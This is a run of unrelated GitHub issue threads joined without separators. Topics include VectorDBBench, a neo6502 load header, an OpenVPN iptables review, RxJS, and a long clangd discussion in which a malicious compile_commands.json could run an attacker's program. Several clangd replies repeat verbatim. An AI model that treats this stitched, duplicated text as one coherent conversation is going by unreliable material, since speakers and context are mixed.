2024-11-05 12:51:27,989 | INFO: Success to finish task: label=2024110512, run_id=0840eb025d2f4e45b8ca6309e953fe74 (interface.py:203) (1839131)
2024-11-05 12:59:11,790 | INFO: generated uuid for the tasks: 015a5f8e26fd48f2ae96029dcdad9836 (interface.py:66) (1829519)
2024-11-05 12:59:11,791 | INFO | DB             | CaseType     Dataset               Filter | task_label (task_runner.py:338)
2024-11-05 12:59:11,791 | INFO | -----------    | ------------ -------------------- ------- | -------    (task_runner.py:338)
2024-11-05 12:59:11,791 | INFO | WeaviateCloud  | Performance  Cohere-MEDIUM-1M        None |<PHONE_NUMBER> (task_runner.py:338)
2024-11-05 12:59:11,791 | INFO: task submitted: id=015a5f8e26fd48f2ae96029dcdad9836,<PHONE_NUMBER>, case number: 1 (interface.py:231) (1829519)
2024-11-05 12:59:12.068 WARNING streamlit.runtime.scriptrunner_utils.script_run_context: Thread 'MainThread': missing ScriptRunContext! This warning can be ignored when running in bare mode.

@kilo1234 VectorDBBench was initially focused on Weaviate Cloud, and it has not been tested for connectivity with a local Weaviate instance.
We warmly welcome contributions from the community to enhance it.

Hi @@.*** @.***> ,
My benchmark run stops abruptly in the middle while running on weaviate. I
have raised the issue:
https://github.com/zilliztech/VectorDBBench/issues/406. Please have a look.
Thanks,
Pavan


Add MANUAL_INSTRUCTIONS.md (for the paranoid)

I found your scripts and processes a little too obscured, from the confusing scripts to the downloading strange binaries from AWS buckets. Even your Docker container wants access to my ~/.ssh directory, which I'm not very happy with given all of the extra layers.
So, I picked apart your process and documented it such that someone like me not wanting to run your scripts on my computer, can step through easily understandable and slightly more trustworthy steps, with an optional network disconnect when running the installed dependencies.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@rvagg Hello, thanks for you submission. Please sign CLA document.

Anyway, i can merge it and improve by myself.


Minor fixes to README

I assume that's what you meant.

imgui-glow-renderer does technically use the imgui crate, but... yep that definitely looks like a mistake - thanks!


Add a header to a file to provide an automatic load and optional execute functionality

Extend the file loader to support it, extend RUN so it can run BASIC and Code files directly

I think this approach is quite good, and works since 70's ;)
https://www.atarimax.com/jindroush.atari.org/afmtexe.html

Would like an optional autorun ?

what do you mean by autorun?  autostarting some programs from SD or USB i they are named  for example "autorun.neo" ?
Or just starting loaded binaries?
For both options I vote yes :D

$FFFF header
xxxx load address
xxxx size of data to load
xxxx execute address ($FFFF => do not execute)
Would be interested in @davidgiven 's views on this as it relates to CPM/65 formats ?

It doesn't affect CP/M-65 binaries as they have their own header --- the only file which would be affected is the bootstrap loader itself, which is a native neo6502 binary.
Regarding the format itself: you might want to consider using an existing binary format; Fuzix has a simple flat header: https://github.com/EtchedPixels/FUZIX/blob/master/Kernel/include/exec.h There's also O65, which is more complicated and can optionally support dynamic linking. http://www.6502.org/users/andre/o65/index.html The advantage is that tooling already exists for these.
(I'd also suggest using a clearly distinct magic number, to avoid false positives when detecting binaries! I made that mistake with CP/M-65, which doesn't have a magic number...)

Thanks, I will have a nose about. I suspect we won't get as far as dynamic linking but I'll have a peek.

$FFFF header xxxx load address xxxx size of data to load xxxx execute address ($FFFF => do not execute)
Would be interested in @davidgiven 's views on this as it relates to CPM/65 formats ?

Will it be possible to combine multiple blocks in one executable?
for example to load one small block on page0, another data block above $A000 and main code block on $800 and run it?

IIRC, O65 can do that (it's extremely flexible; note that you don't have to implement all of it). Look for 'chain bit' in the docs.

Actually, I completely forgot to say... there's always ELF! llvm-mos has a set of extensions to allow object files for the 6502, but if you just want to load programs you don't need any of that --- ELF executables are deliberately designed to be easy to load; you just follow some pointers until you locate the program header table, and that will give you a list of segments plus file offsets plus size and address, and you just read them in. It has the advantage of being thoroughly well understood and tooling already exists for it.

O65 looks good. It could be partially implemented easily enough, and could be extended later to include all the fancy stuff, though it's really a bit OTT for the 6502 :) It looks like in its rawest form it could just be a binary blob with a larger than normal header (which could be chained to allow multiple files).

o65 doesn't seem to have an autorun option.

There's a bit in the header to mark the file as being executable. However, I don't spot an entry point address, which is weird. Maybe it's assuming that the OS will find it via the globals table, which is a bit unfriendly.

Suggestion for header, having looked at the suggestions and alternatives.
#
#		Magic Numbers. 03 is an invalid 65C02 opcode the others are NEO. A Basic program cannot start with $03 either.
#
03,3E,35,4F
#
#		Control Byte. Bit 7 is continuation ; if set, there is another block after this one. All others are zero by default.
#		and are for extensions.
#
cc
#
#		Load Address (16 bit). $FFFF means load to graphic object memory. $FFF9,B and D are reserved for extension.
#
llhh
#
#		Load Size (16 bit). Size of data that follows. Can be zero.
#
llhh
#
#		Execute address. $FFFF if block not executable
#
llhh
#
#		Data block (if load size non zero)
#
[data]
#
#		If the continuation bit was set, a second control byte etc. follows immediately.
#

#
#		It is not possible to affect the execution behaviour of the 65C02. Therefore the Execute code puts code in the parameter block
# 		either JMP llhh (if execute address is not $FFFF) or RTS (if it is)
#
#		Thus on exit from the load routine, assuming no error, JSR $FF04 (the parameter block) will either run the code as required or
# 		alternatively have no effect.
#

Looks good to me --- my only quibble is that I'd suggest adding one, maybe two more bytes just after the magic number to for firmware identification, currently defined to be zero. I'm sure eventually we're going to have multiple firmwares with different feature sets (e.g. my very hypothetical 80-column one) and having a way for the binary to declare that it requires a particular firmware will likely be useful.

This is now working - I think :) and will be release shortly as v14.0.0 - there's a helper app using the same syntax as the emulator (e.g. python exec.zip frogger.gfx@ffff frogger.bas@page exec).

Maybe emulator should also be able to recognize header in file loaded from commandline? now I have to keep 2 versions, one without the header if I want to run it directly from windows, and header version to be loaded from emu. Thanks in advance!


Unable to get panel size on first render.

Say I want to render an icon, the icon is based on panel size, so I need to get its size when its first rendered.
Since there is no such API, I trie the following:
function Component() {
  const ref = useRef<ImperativePanelHandle>(null);
  const [_open, setOpen] = useState<boolean | undefined>(undefined);
  useEffect(() => {
    if (_open === undefined) {
      setOpen(!ref.current!.isCollapsed());
    }
    // eslint-disable-next-line react-hooks/exhaustive-deps -- the effect should only run once
  }, []);
  return (<Panel ref={ref} />);
}

However, it turns out to be the panel size is not available when the first effect runs, and fails to pass the assertion.
How to achieve the functionality here?

and fails to pass the assertion.

I don't know what assertion you're referring to. The code above has no assertion.

it turns out to be the panel size is not available when the first effect runs
How to achieve the functionality here?

I would suggest checking out the docs:
https://github.com/bvaughn/react-resizable-panels/tree/main/packages/react-resizable-panels#panel
Specifically, there's an onResize method I would suggest using for this. It will be called on mount with the initial size.

@bvaughn Thank you, I'll give it a try.
FYI, the assertion is here:
https://github.com/bvaughn/react-resizable-panels/blob/fa58630e0ba09070f6977ce0ab036588a8749ce4/packages/react-resizable-panels/src/PanelGroup.ts#L348-L351


Verifying iptables firewall config.

Hi All,
My VPN is working fine, I'd just like to verify if my firewall config is secure with y'all who know more than I do.  Any help is much appreciated!
Commands:
Entered the commands on this site > https://arashmilani.com/post?id=53
iptables-save > /etc/iptables/rules.v4  as root
`
admin-pi@pi-ovpn:~ $ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     udp  --  anywhere             anywhere             state NEW udp dpt:openvpn
ACCEPT     all  --  anywhere             anywhere
Chain FORWARD (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHED
ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHED
Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere
`
`
Generated by iptables-save v1.4.21 on Tue May  9 23:44:28 2017
*filter
:INPUT ACCEPT [796:66773]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [589:73244]
-A INPUT -i eth0 -p udp -m state --state NEW -m udp --dport 1194 -j ACCEPT
-A INPUT -i tun+ -j ACCEPT
-A FORWARD -i tun+ -j ACCEPT
-A FORWARD -i tun+ -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i eth0 -o tun+ -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -o tun+ -j ACCEPT
COMMIT
Completed on Tue May  9 23:44:28 2017
Generated by iptables-save v1.4.21 on Tue May  9 23:44:28 2017
*nat
:PREROUTING ACCEPT [34:2384]
:INPUT ACCEPT [34:2384]
:OUTPUT ACCEPT [32:2591]
:POSTROUTING ACCEPT [32:2591]
`

Looks wide open.  did you intend to add rules?

Yes that's what I thought too. I followed the Raspberry Pi - OpenVPN Setup via PiVPN tutorial on the PiVPN site. Everything in the tutorial is crystal clear except for the iptables configuration.
I think I am mostly unsure about seeing "ACCEPT all -- anywhere anywhere" under the INPUT chain which I am thinking would mean that my pi would be accepting un-established connections.
I ran "iptables -vL" and saw that this was only for the established "tun+" interface which mostly alleviated that uncertainty.
I know I should do more reading up on iptables, but my question basically boils down to this: I already have firewall rules set up on my router. So do I even really need any additional rules set up on the pi for a secure vpn configuration?

  So unless you want to further configure iptables to lock down the pi from devices on your internal network, you do not need to do anything else to secure it from the internet side.

@GeneralZiggy Actually you should be safe since you probably have the most common setup:
Router ( Firewall ) || Local Network
sho theoretically you should be safe, however, if you want to add extra safety you can change  Input and forward to DROP
making something like Router (Firewall) || local network || Pi Firewall || Pi system
:INPUT DROP [796:66773]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [589:73244]
which will be "overridden" by the specific rules you add
-A INPUT -i eth0 -p udp -m state --state NEW -m udp --dport 1194 -j ACCEPT
-A INPUT -i tun+ -j ACCEPT
-A FORWARD -i tun+ -j ACCEPT
-A FORWARD -i tun+ -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i eth0 -o tun+ -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -o tun+ -j ACCEPT
In other words ... Firewall will DROP every packet except those you say it should ACCEPT
Hope this helps you out! ;)

@GeneralZiggy did you got your answer here? anything else you'd like to discuss? please close the issue if you're done!

@redfast00 think this one can be closed also!


ReplaySubject.asObservable with thrown error in next after subscribing

Hello!
I have faced with issue regarding of ReplaySubject asObservable() returning Observable behavior. I have a ReplaySubject instance, from which have "extracted" Observable-like instance with method asObservable(). While Observable instance has no any subscribers, observable instance ReplaySubject instance have received one notiication using .next(...). When i do subscribe with function, where has throw ... error, then unexpectly it silently swallows error instead of re-throwing it.
Code below:
let subject = new ReplaySubject<boolean>();
let obs$ = subject.asObservable();

subject.next(true);

obs$.subscribe(() => {
  throw new Error('Error thrown in subscriber')
});

RxJS version: 5.2.0

maybe it's same as https://github.com/ReactiveX/rxjs/issues/2564? I thought in #2564 it's shallowed by jasmine, seems not.

No, there is not being used jasmine.

yes, that's what I mean. I originally thought it's jasmine, and since your issue isolated it I came to think #2564 is not jasmine side issuen basically this 2 issues looks same to me. @repkins


Add Bukkit's new provides field.

Fixes #6
Adds the new provides field for Bukkit along with verification for it.
Commit adding this field: https://hub.spigotmc.org/stash/projects/SPIGOT/repos/bukkit/commits/9f2fd967a4f914b849afe6ac287e7a595c035884#src/main/java/org/bukkit/plugin/PluginDescriptionFile.java

This looks like Spigot's (not Bukkit's) new provides field :P Bukkit is dead!

Can you add an example to the README?

Any updates?


Inline Environment Variables in compile_command.json command misparsed?

Hi awesome clangd folks,
When providing inline environment variables in a compilation command, I'm seeing behavior that makes me think clangd might be mistaking environment variables for the compiler.
As a toy example, imagine the "command" entry in a compile_command.json file is "A=1 B=2 clang_wrapper file.c", where wrapped_clang crashes if it doesn't get the environment variables it depends on. The expected behavior would be to express what would be invoked if that were executed by a shell: The environment variable A with value 1 would be seen the compiler. Instead, clangd's logs say "compilation failed...index may be incomplete" along with messages saying B is being ignored as a linker. I also saw similar things happen if you try to supply something like "xcrun clang" as a two token compiler. There are definitely things I don't understand about how clangd parses these commands and/or invokes them..but I'm wondering if it's just taking the first token of the command to be the compiler, when that might not be the case.
This definitely shouldn't be that high priority of a thing. Totally understand why clangd would do what I think it does, and I have a workaround. Feel free to ignore, but I thought I should still file an issue as a heads that the edge case cropped up.
Context, if curious: I'm building a tool that extracts compilation commands from Bazel, a build system. On Apple platforms, Bazel wraps the compilers in another binary, and those wrappers rely on environment variables. I can work around this problem by swapping out Bazel's compiler wrapper for clang during the extraction process.
Thanks for reading!
System information:
macOS 11, clangd 11, VSCode

Ah, indeed I don't think this has ever been supported by clangd or other clang tools.
There's three reasonable things to want here:

skip over the leading A=B and treat wrapped_clang as the driver, to avoid treating it as an argument. This is straightforward and reasonable, nobody ever asked for it yet :-)
pass the env vars to wrapped_clang and use it for parsing. But of course wrapped_clang doesn't offer the API we need, we must use our embedded, instrumented clang parser instead. So this isn't feasible at all.
Probe wrapped_clang to get some details (e.g. built-in include paths) that help our internal parser. This is supported using the --query-driver feature, and with our ad-hoc xcrun probing support. If we parsed the env variables out (1) I suppose we could preserve them when probing

Do you think you'll need 1+3 or is 1 enough?

Ah, indeed I don't think this has ever been supported by clangd or other clang tools.
There's three reasonable things to want here:

skip over the leading A=B and treat wrapped_clang as the driver, to avoid treating it as an argument. This is straightforward and reasonable, nobody ever asked for it yet :-)
pass the env vars to wrapped_clang and use it for parsing. But of course wrapped_clang doesn't offer the API we need, we must use our embedded, instrumented clang parser instead. So this isn't feasible at all.
Probe wrapped_clang to get some details (e.g. built-in include paths) that help our internal parser. This is supported using the --query-driver feature, and with our ad-hoc xcrun probing support. If we parsed the env variables out (1) I suppose we could preserve them when probing

Do you think you'll need 1+3 or is 1 enough?

Thanks, Sam, for another thoughtful response.
After reading what you said and the design docs you'd linked, I think this case shouldn't be handled by clangd. Instead it should be on the build system's compile_commands extractor to unwrap things into clang calls, as I'd done in the workaround.
I had guessed (wrongly, it sounds like) that clangd was, at some point, invoking the command given to it and listening to what that driver parsed, via a flag or otherwise. Sounds like that's wrong. I'd assumed the compilation command was being run in some form because the log shows entries like "Failed to compile [file], index may be incomplete" only when the wrapped compiler was being passed in. But perhaps those failures are instead the clangd parser failing because it can't infer the right built-in include paths? The errors did look like NEON intrinsics that might not be supported in a non-Apple set of built-in includes.
Just to confirm: The compiler listed in the command is never invoked, right? But clangd does use the compiler path in the command to find build-in includes for the platform (e.g. Android, Mac, iPhone), even without --query-driver, so long as it looks like a version of clang? I'm a bit confused about when query-driver would need to be provided and why, even after reading the docs and past discussion. But I know there's trickiness I need to get right: I use multiple clangs for different platforms in the same codebase, and I can see logic to swap out the compiler for system clang on macOS that I wouldn't want to trip when cross compiling, e.g. for Android.
To sum: If the driver in the command provided is indeed never executed, then even 1+3 wouldn't do it, since the Bazel/Blaze wrapper does some (simple) flag substitution. Can't expect clangd to parse arbitrary compiler wrappers if it doesn't listen; it should be on the build system extractor (i.e. me 👋🏻) to get you clean compile commands. However, I would think clangd would detect built-in include paths from different clangs.

Thanks, Sam, for another thoughtful response.
After reading what you said and the design docs you'd linked, I think this case shouldn't be handled by clangd. Instead it should be on the build system's compile_commands extractor to unwrap things into clang calls, as I'd done in the workaround.
I had guessed (wrongly, it sounds like) that clangd was, at some point, invoking the command given to it and listening to what that driver parsed, via a flag or otherwise. Sounds like that's wrong. I'd assumed the compilation command was being run in some form because the log shows entries like "Failed to compile [file], index may be incomplete" only when the wrapped compiler was being passed in. But perhaps those failures are instead the clangd parser failing because it can't infer the right built-in include paths? The errors did look like NEON intrinsics that might not be supported in a non-Apple set of built-in includes.
Just to confirm: The compiler listed in the command is never invoked, right? But clangd does use the compiler path in the command to find build-in includes for the platform (e.g. Android, Mac, iPhone), even without --query-driver, so long as it looks like a version of clang? I'm a bit confused about when query-driver would need to be provided and why, even after reading the docs and past discussion. But I know there's trickiness I need to get right: I use multiple clangs for different platforms in the same codebase, and I can see logic to swap out the compiler for system clang on macOS that I wouldn't want to trip when cross compiling, e.g. for Android.
To sum: If the driver in the command provided is indeed never executed, then even 1+3 wouldn't do it, since the Bazel/Blaze wrapper does some (simple) flag substitution. Can't expect clangd to parse arbitrary compiler wrappers if it doesn't listen; it should be on the build system extractor (i.e. me 👋🏻) to get you clean compile commands. However, I would think clangd would detect built-in include paths from different clangs.

I'd assumed the compilation command was being run in some form because the log shows entries like "Failed to compile [file], index may be incomplete" only when the wrapped compiler was being passed in

If the command is "ENV_VAR=FOO wrapped_clang bar.cc" then today, we think argv[0] is "ENV_VAR=FOO", argv[1] is "wrapped_clang", and argv[2] is "bar.cc". argv[0] is not parsed per se, just scoured for clues. But the unexpected wrapped_clang "argument" will cause an error "unused linker input" or similar. That will cause the log message you mention (even if parsing otherwise succeeds).

The compiler listed in the command is never invoked, right? But clangd does use the compiler path in the command to find build-in includes for the platform (e.g. Android, Mac, iPhone), even without --query-driver, so long as it looks like a version of clang?

Correct on both counts. We reuse clang's logic for discovering standard libraries (it searches in some fixed locations, and also relative to its own binary), in an attempt to imitate it. And clang in turn knows how to imitate gcc and MS's CL.exe, so this works for some other compilers too. Mostly. Sometimes. The whole idea is pretty fragile.

I'm a bit confused about when query-driver would need to be provided and why, even after reading the docs and past discussion.

Instead of trying to guess the built-in paths, we can try to invoke the compiler itself and get it to tell us.
This is needed if the heuristics are buggy/ineffective, or if the compiler is nonstandard (e.g. you can ./configure GCC with a custom set of built-in paths, which clangd could never guess).
It works for compilers that accept the GCC-style -E and -v flags.
It's not on by default because there's a security risk in running arbitrary local binaries based on what we read in compile_commands.json, so you have to whitelist the drivers that may be queried in this way.

To sum: If the driver in the command provided is indeed never executed, then even 1+3 wouldn't do it, since the Bazel/Blaze wrapper does some (simple) flag substitution.

I think this is right. compile_commands.json is really about describing how your files are parsed, using clang flags as a convenient format for this description. So some other syntax won't really work, even if it's a valid way to compile the file. That said if they're close enough that e.g. skipping over env variables would get us close, we can do that. And query-driver does blur the lines a little.

I'd assumed the compilation command was being run in some form because the log shows entries like "Failed to compile [file], index may be incomplete" only when the wrapped compiler was being passed in

If the command is "ENV_VAR=FOO wrapped_clang bar.cc" then today, we think argv[0] is "ENV_VAR=FOO", argv[1] is "wrapped_clang", and argv[2] is "bar.cc". argv[0] is not parsed per se, just scoured for clues. But the unexpected wrapped_clang "argument" will cause an error "unused linker input" or similar. That will cause the log message you mention (even if parsing otherwise succeeds).

The compiler listed in the command is never invoked, right? But clangd does use the compiler path in the command to find build-in includes for the platform (e.g. Android, Mac, iPhone), even without --query-driver, so long as it looks like a version of clang?

Correct on both counts. We reuse clang's logic for discovering standard libraries (it searches in some fixed locations, and also relative to its own binary), in an attempt to imitate it. And clang in turn knows how to imitate gcc and MS's CL.exe, so this works for some other compilers too. Mostly. Sometimes. The whole idea is pretty fragile.

I'm a bit confused about when query-driver would need to be provided and why, even after reading the docs and past discussion.

Instead of trying to guess the built-in paths, we can try to invoke the compiler itself and get it to tell us.
This is needed if the heuristics are buggy/ineffective, or if the compiler is nonstandard (e.g. you can ./configure GCC with a custom set of built-in paths, which clangd could never guess).
It works for compilers that accept the GCC-style -E and -v flags.
It's not on by default because there's a security risk in running arbitrary local binaries based on what we read in compile_commands.json, so you have to whitelist the drivers that may be queried in this way.

To sum: If the driver in the command provided is indeed never executed, then even 1+3 wouldn't do it, since the Bazel/Blaze wrapper does some (simple) flag substitution.

I think this is right. compile_commands.json is really about describing how your files are parsed, using clang flags as a convenient format for this description. So some other syntax won't really work, even if it's a valid way to compile the file. That said if they're close enough that e.g. skipping over env variables would get us close, we can do that. And query-driver does blur the lines a little.

You're the man, Sam. Totally get it. Thanks for thoughtfully squaring up my understanding.
My last (less-informed) two cents would be that perhaps query-driver should be on by default because the user's going to envoke the compiler anyway, but I'm sure you've thought about this more than I have
Seems it's time to close this as something clangd shouldn't be designed to do?

You're the man, Sam. Totally get it. Thanks for thoughtfully squaring up my understanding.
My last (less-informed) two cents would be that perhaps query-driver should be on by default because the user's going to envoke the compiler anyway, but I'm sure you've thought about this more than I have
Seems it's time to close this as something clangd shouldn't be designed to do?

You're the man, Sam. Totally get it. Thanks for thoughtfully squaring up my understanding.
My last (less-informed) two cents would be that perhaps query-driver should be on by default because the user's going to envoke the compiler anyway, but I'm sure you've thought about this more than I have
Seems it's time to close this as something clangd shouldn't be designed to do?

Picture this, someone checks in a malicious program and a compile_commands.json into some repository that points to that program as the compiler driver. A unknowing user then clones that repo and opens one of the source files in the editor. Without --query-driver clangd would then invoke that "driver". Once that happens the users system is compromised, even though they never even tried to build the software. Its for this reason that you have to whitelist what drivers clangd is allowed to execute.

You're the man, Sam. Totally get it. Thanks for thoughtfully squaring up my understanding.
My last (less-informed) two cents would be that perhaps query-driver should be on by default because the user's going to envoke the compiler anyway, but I'm sure you've thought about this more than I have
Seems it's time to close this as something clangd shouldn't be designed to do?

Picture this, someone checks in a malicious program and a compile_commands.json into some repository that points to that program as the compiler driver. A unknowing user then clones that repo and opens one of the source files in the editor. Without --query-driver clangd would then invoke that "driver". Once that happens the users system is compromised, even though they never even tried to build the software. Its for this reason that you have to whitelist what drivers clangd is allowed to execute.

Hmm, I don't think having it as a flag protects against the case of a malicious project, though, right, since you can just bake the flag into the editor's settings file for that project?
To take VSCode as an example, one could just set the flag in the Project/.vscode/settings.json and then we're back in the case you described.
I'm with you on the problem, for sure. But I'm not so sure the flag fixes things enough to be worth having it broken for some users by default. Opening untrusted code in an IDE is likely to be dicy regardless.

Hmm, I don't think having it as a flag protects against the case of a malicious project, though, right, since you can just bake the flag into the editor's settings file for that project?
To take VSCode as an example, one could just set the flag in the Project/.vscode/settings.json and then we're back in the case you described.
I'm with you on the problem, for sure. But I'm not so sure the flag fixes things enough to be worth having it broken for some users by default. Opening untrusted code in an IDE is likely to be dicy regardless.

Hmm, I don't think having it as a flag protects against the case of a malicious project, though, right, since you can just bake the flag into the editor's settings file for that project?
To take VSCode as an example, one could just set the flag in the Project/.vscode/settings.json and then we're back in the case you described.

I made this exact point in a recent discussion :)
I wonder if VSCode is unique among clients in allowing language server arguments to be determined by in-workspace metadata files, or if that's fairly typical.

Hmm, I don't think having it as a flag protects against the case of a malicious project, though, right, since you can just bake the flag into the editor's settings file for that project?
To take VSCode as an example, one could just set the flag in the Project/.vscode/settings.json and then we're back in the case you described.

I made this exact point in a recent discussion :)
I wonder if VSCode is unique among clients in allowing language server arguments to be determined by in-workspace metadata files, or if that's fairly typical.

I'm going to close my issue, because the main issue assumes different inner workings than those clangd actually has, and the remaining discussion has moved toward a duplicate of #539. Thanks all for being great to a new user!

@sam-mccall, I'm returning to this now as a (slightly) less naive clangd user, because I think I was wrong--and it might benefit clangd to be able to take in environment variables after all.
Since I posted this, I've been banging around on a bunch of platforms to get things working for Bazelers wanting to use clangd. (We released the tool I was building for myself, mentioned in the original post, and it's been a decent hit. Yay helping people!) [As a Googler, you may well know Bazel instead as Blaze. The ex-Googler in me does at least.]
While unwrapping or query-drivering works pretty often, I'm also seeing common platforms where environment variables are an essential part of understanding commands. As examples, msvc (and presumably clang-cl?) requires an INCLUDE env var, which is what lists the system header locations--a goldmine for clangd, I'd think. And the emscripten compiler (emcc) is pretty clang-like, except its configuration is heavily dependent on environment variables. Querying it (or running it in any form) will requires passing through quite a few environment variables. I don't personally need either of these urgently, but they've come up with users.
So I'm wondering if it might make sense to let people pass important environment variables to clangd after all. Format-wise, since an arguments list (rather than command form) is now the preferred form in compile_commands.json (especially on Windows...) maybe there should be a separate environment part of each command in compile_commands.json and in clangd config. And since environments will mostly be duplicated in compile_commands.json, maybe we should have a reference/normalization option, where they can also be IDs pointing into to a separate list of environments? Honestly, that db normalizing option would also be super valuable for commands, since, with headers, the files are often mostly made up of duplicated commands, but I digress.
Thanks for reading--and being awesome!
Chris

While it doesn't have the full expressive power of what you are describing, it's worth noting that editors typically do propagate their environment to clangd, and clangd in turn propagates it into query-driver invocations.
So, at least for the case where, for a given project, it's a common set of environment variables that the compiler driver needs to see, you can accomplish this by having these set in the environment where the editor is executed (which will in turn propagate it to clangd etc.)
As a slight refinement of this, editors could support a way to add things into the environment for their clangd invocation, rather than requiring it to be present for the editor invocation itself (https://github.com/clangd/vscode-clangd/issues/198 tracks this for vscode).
Of course, that still leaves cases where different files in a project require different env vars. The kind of clunky current workaround that comes to mind for that is to write a few compiler wrapper scripts which set the relevant env vars and then invoke the compiler, and have compile commands refer to the relevant wrapper.
If we want to improve on that, perhaps an approach with relatively low implementation complexity would be to allow specifying env vars in an Environment: key under CompileFlags: in the clangd config file?
Modifying the compile_commands.json format to have an extra field for env vars, as you describe, would be another possibility, but this would impact the larger clang-based tooling ecosystem and so it probably requires seeking consensus for it in a different forum (LLVM Discourse perhaps?)

Great ideas as always, @HighCommander4 :)
Environment wrapper scripts seems like the best workaround to me (rather than special invocations of the editor). I know the Bazel case will definitely lead to them differing by file, but with lots of repetition.
But none of these will get the rich info in the critical environment variables (e.g. on Windows) to clangd--hence the compile_commands.json proposal. I think the environment is more per command than project-level. At least that'd be the natural implementation for the use cases I'm seeing, which involve cross compilation for a subset of commands, intermixed across the codebase.
Re format and consensus: Figured we all should talk first. And the consensus part is why I figured I'd better say something as soon as it became clear that this extension might be important. You all certainly know how to build LLVM consensus better than I.
Cheers,
Chris

If we want to improve on that, perhaps an approach with relatively low implementation complexity would be to allow specifying env vars in an Environment: key under CompileFlags: in the clangd config file?

Typically environment variables might affect what the driver does (like C_INCLUDE_PATH). We can't set these on a per-file basis for the built-in driver (because env is per-process and we process multiple files concurrently). So this would only work for query-driver. I don't think we should add this to config because:

it is confusing that they only half-work
it will push people towards using query-driver (which is a hack) rather than working out how to get a compile_commands.json that describes a standard clang invocation
people already using query-driver already have a way to do this: wrap their driver with a script that sets the variables, and point Compiler at it. (This is more steps, but doesn't add more hacky logic and support surface area, and I think makes the situation more explicit & less confusing)

We can't set these on a per-file basis for the built-in driver (because env is per-process and we process multiple files concurrently).

Ah, good point!
To be clear, this is an argument not only against adding an Environment: key to the config file, but other potential formulations of per-file environment configuration, such as adding an "environment" key to compile_commands.json entries, as well.

Thanks for great thoughtfulness guys, as usual.
I hear you loud and clear on the problems implementing environment variables per-file. The wrapper script does seem an okay workaround for query-driver, as of course does massaging things into standard clang flags, though that code would then have to be reimplemented per build system rather than shared in clangd.
I will say, query-driver has been invaluable in simplifying usage; we've been finding that lots of toolchains (annoyingly) choose to have wrapper scripts that basically just pass through flags but need penetrating for system includes, and query-driver does, generally, seem to be the more robust option. It makes me a little sad to think of asking directly (query-driver) as the hack; the other seems like the heuristic.
Anyway, happy to close this down if you guys would like--just thought I should correct my earlier statements once I started seeing clear evidence that popular platforms (Windows, WASM) expressed key command information as environment variables in addition to flags.

query-driver does, generally, seem to be the more robust option. It makes me a little sad to think of asking directly (query-driver) as the hack; the other seems like the heuristic.

FWIW, this is my perspective too: that query-driver is the more accurate approach for discovering built-in includes, and it's what I recommend as the default for power users. The only reason I don't recommend it as the default for casual users is that the required coordination between the value of the --query-driver command-line argument and the argv[0] in compile_commands.json seems like a hassle in cases where you don't need it.
This is also the approach taken in Eclipse CDT, where its equivalent of query-driver (called the "Built-in Compiler Settings Provider") is enabled by default and you have to uncheck it in your settings if you don't want it.

As a minor aside, there's some interesting work going on in the ISO C++ Standards Committee's Tooling Study Group on standard metadata file format specifications like this one. It makes me hopeful that at some point in the future, we might have get like a standard "toolchain description" format, and it would become common practice to compilers of all sorts to ship with or produce files in this format that contain information such as built-in include paths, which can then be consumed by tools like clangd, rather than relying on gcc-like driver syntax (followed by parsing free-form textual output) as a de facto standard way to get access to this information.

at some point in the future, we might get a standard "toolchain description" format, and it would become common practice for compilers of all sorts to ship with or produce files in this format that contain information such as built-in include paths, which can then be consumed by tools like clangd, rather than relying on gcc-like driver syntax (followed by parsing free-form textual output) as a de facto standard way to get access to this information.

Just to underscore this point, within a day of me writing this we've had a bug report filed about our code for parsing the textual output of gcc -E -v -x c++ /dev/null being unreliable in the case of localized versions of gcc.


Disabled abstract class prefix sniff

@emaslak Submitted many PRs for fixing deprecated ElasticsearchTestCase usages. We would like to keep this sniff.

Disable is temporary, it will be enabled again on ESB 1.0.

Well temporarly disable is not an option. Its better to fix the origins instead ;).


fix set idle timeout equal to load timeout

Proposed changes
It's not guaranteed that the upstream will send data constantly (may limited by back pressure).
In this case, downstream should not close the stream too early, so we set idle timeout equal to load timeout.


Make context autostart/binding optional

In most cases it is a good thing to start the other beans as part of the binding process, but in some cases there are undesirable side effects.
See: https://github.com/spring-projects/spring-integration-java-dsl/issues/80#issuecomment-218245617

After a discussion with the Boot team, we will want to rely on Spring Boot/Spring Core controlling that behaviour. Keeping this open as once this feature is available in Boot/Core, we will need to update our approach by removing the autostart code.

Boot issue in discussion is: https://github.com/spring-projects/spring-boot/issues/6021

Based on the outcome of the discussion in the Spring Boot project, we will not want to do this at all.
If necessary, end users can start the context themselves. The current behaviour should be changed in v1.1 (which breaks backwards compatibility to some extent and we will need to be properly documented).


Cannot update with null or undefined

I am trying to remove a value from an optional property, but I cannot find how to do it.
schema.prisma
datasource db {
  provider = "sqlite"
  url      = "file:./dev.db"
}

generator photon {
  provider = "photonjs"
}

model User {
  id   String  @default(cuid()) @id @unique
  name String?
}

index.js
const user = await photon.users.create({
    data: {
      name: 'The User'
    }
  })
  const updatedUser = await photon.users.update({
    where: {
      id: user.id
    },
    data: {
      name: null
    }
  })
  console.log({ user, updatedUser })

Console
Argument name: Got invalid value null on photon.updateOneUser. Provided null, expected String.

Note: If I use undefined instead of null, I won't have an error, but the user and updatedUser will have the same values so it doesn't work either

@Errorname because, as the error says expected String, what happens if you set the value to an empty string '' ?
I understand the practice of using null to designate fields that have no value assigned, but in the pattern of type safety, name being of type string, it seems that null (type object) and undefined (type undefined) would be invalid. Whereas '' (type string) should be allowed.
Thoughts?

When setting '', I have an empty string on the field, but that is not what I want.
